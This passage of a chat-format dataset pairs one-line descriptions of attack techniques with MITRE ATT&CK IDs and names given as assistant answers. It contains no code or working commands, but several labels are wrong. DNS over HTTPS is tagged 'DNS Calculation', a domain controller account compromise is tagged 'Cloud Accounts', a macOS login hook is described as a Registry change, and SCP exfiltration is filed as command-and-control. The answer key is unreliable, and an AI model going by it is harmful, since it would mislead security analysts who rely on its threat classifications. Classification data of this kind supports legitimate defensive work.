                "content": "The attacker conducts a reflection amplification DDoS by sending spoofed SNMP requests to vulnerable network devices, causing large SNMP responses to be sent to the victim's address."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors disguise their payload as a signed system DLL and execute it via rundll32 to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers query the victim’s intrusion detection system logs to discover active hosts and services."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary changes the domain's password policy via Group Policy to reduce complexity requirements."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses Process Doppelgänging to hijack a legitimate process by manipulating Windows NTFS transactions, allowing code execution without touching the disk."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited a misconfigured content management system to upload defacement pages that target internal staff dashboards."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a launch agent using launchctl load, pointing to a malicious binary for continual execution."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a launch daemon that runs a stealthy rootkit component each time the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker registers a scheduled task with the highest privileges using the \"runas\" flag, causing Windows to execute the payload with elevated rights without prompting the user for UAC consent."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a Visual Basic Script to automate the execution of a series of command-line tools for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program used code compression and encryption to conceal its true functionality."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .lnk file is distributed with its IconLocation attribute set to a remote PowerShell script, leading to execution upon view."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan drops a background process that logs all typed characters and periodically exfiltrates the logs."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware packages sensitive files using PGP encryption and uploads the ciphertext via an FTP connection to an external server, bypassing conventional exfiltration channels."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages the wmic command to execute PowerShell scripts on compromised Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool inflates its payload size by inserting dummy bytes between code blocks, attempting to bypass size-based filters."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into the video card's firmware, allowing execution during the pre‑OS stage."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts a credential stuffing attack, using automated tools to attempt login credentials obtained from previous data breaches."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating the SAML assertion's expiration time and signing it with a stolen key, the attacker achieved persistent access to the cloud application."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised third‑party SaaS platform’s API keys to gain unauthorized access to the target’s data."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor modifies the network stack to copy all outbound packets and transmit them to a remote exfiltration endpoint."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group harvests source code by authenticating to the target's private GitHub Enterprise instance via compromised OAuth tokens."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies a malicious .msc file to the startup folder and registers it to be opened by mmc.exe on system boot."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before activation, the backdoor checks for a specific combination of the device’s MAC address and a secret environment variable."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves loading a rogue DLL through the MMC executable, allowing the attacker to run arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Microsoft Office document prompts users to enter their credentials, which are then exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware patches the command‑line arguments of a live process to change its behavior during execution."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin loads a backdoored transport agent into the mail server, enabling data theft and lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a container runtime exploit to launch a container with root access on the host."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use NTFS alternate data streams to hide exfiltration tools alongside legitimate files."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries apply a custom binary patch to the Windows PE image of the OS loader to stealthily execute their payload."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compiles and releases open-source exploit tools, making it easier for other attackers to leverage known vulnerabilities in widely used software."
            },
            {
                "role": "assistant",
                "content": "T1587 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the 'exec' command in a Unix shell to launch a keylogger on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed the compromised email account and deleted all incoming messages to erase evidence of the breach."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerability in a cryptographic library to disable certificate pinning, allowing the use of self‑signed certificates with weak keys."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors execute a payload through MSBuild.exe, using the trusted developer utilities proxy execution technique."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a VPN connection from a compromised host to a remote command-and-control server, bridging the corporate firewall."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign distributes a fake login page for Gmail that captures usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers uploaded a stripped-down version of a malicious script, removing any identifiable headers to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised admin account, the attacker uploaded a malicious index.php file to the corporate website, resulting in a defaced landing page displayed to all visitors."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scans for document files, encrypts them with AES-256, and appends a .locked extension."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators employ the DCOM protocol to trigger the creation of a scheduled task on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purge persistence mechanisms by deleting WMI event subscriptions and scheduled tasks they previously set up."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a forum's homepage and embed a drive‑by script that retrieves a weaponized payload when users view the page."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive‑by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits the Netsh helper DLL registration to run arbitrary code on system startup."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs a brute‑force attack on SMB to discover valid credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encodes command-and-control traffic using custom base64 strings to evade network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses SCP to transfer encrypted archives of stolen data to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses PowerShell to stop the 'eventlog' service."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat groups compromised a code signing service's API credentials and used them to sign a custom implant, allowing it to run on systems with strict code integrity policies."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool calls native functions like LoadLibraryA and GetProcAddress to dynamically resolve and call system calls."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers accessed a cloud storage bucket (AWS S3) that was inadvertently left public, downloading documents that included confidential personnel records."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script parses the output of the 'who' command to find active sessions and their owners."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infiltration, the threat actor cleanses the executable of any identifiable markers, making forensic analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool encrypts command arguments with AES, decrypts them on the fly, and runs the clear-text commands."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executes a script that iterates through /var/log and removes all files, effectively wiping Linux system logs."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script invoked \"cmd /c\" to run a batch file that disables the Windows firewall."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses DNS over HTTPS (DoH) to hide the dynamic resolution of malicious domains from network monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the \"Add‑RoleMember\" API call to attach a high‑privilege role to a compromised cloud user."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a scheduled task, the adversary changes the PATH environment variable to a folder under its control, hijacking executable resolution."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using vulnerability scanning to identify potential weaknesses in a system or application."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of ransomware resolves its C2 server via DNS queries that return a rotating list of compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the Registry to set a rogue executable as the LoginHook, triggering execution at the start of the user session."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised service account, the malicious actor pushes exfiltrated data to a secure AWS CodeCommit repository via Git commands."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group sent a spearphishing email with a disguised image file that actually contains a hidden malicious payload executed upon viewing."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious BMP image is sent via instant messaging; opening the image triggers a malicious DLL load due to a known vulnerability in the OS image handling component."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploited a vulnerable CGI script to execute arbitrary commands within the /bin/sh interpreter."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code drops a root certificate into the Linux trust store (/etc/ssl/certs) to bypass certificate validation."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious HTML file disguised as a product brochure is attached to an email, leading to credential theft when opened."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign involves using SEO to make malicious domains appear in search results for commonly searched keywords, redirecting users to malware distribution sites."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy a malicious transport agent within the organization's mail server to inject malicious attachments into legitimate outbound messages."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators locate and dump GPP .xml files containing stored domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a domain controller account to gain broader network privileges."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a custom socket filter to monitor network traffic for keywords, sending a silent alert to the attacker when found."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code spawns thousands of heavy threads on a Linux host, overwhelming the scheduler and causing the endpoint to lock up."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware searches for and copies unsecured OpenSSH private keys from user profiles."
            },
            {
                "role": "assistant",
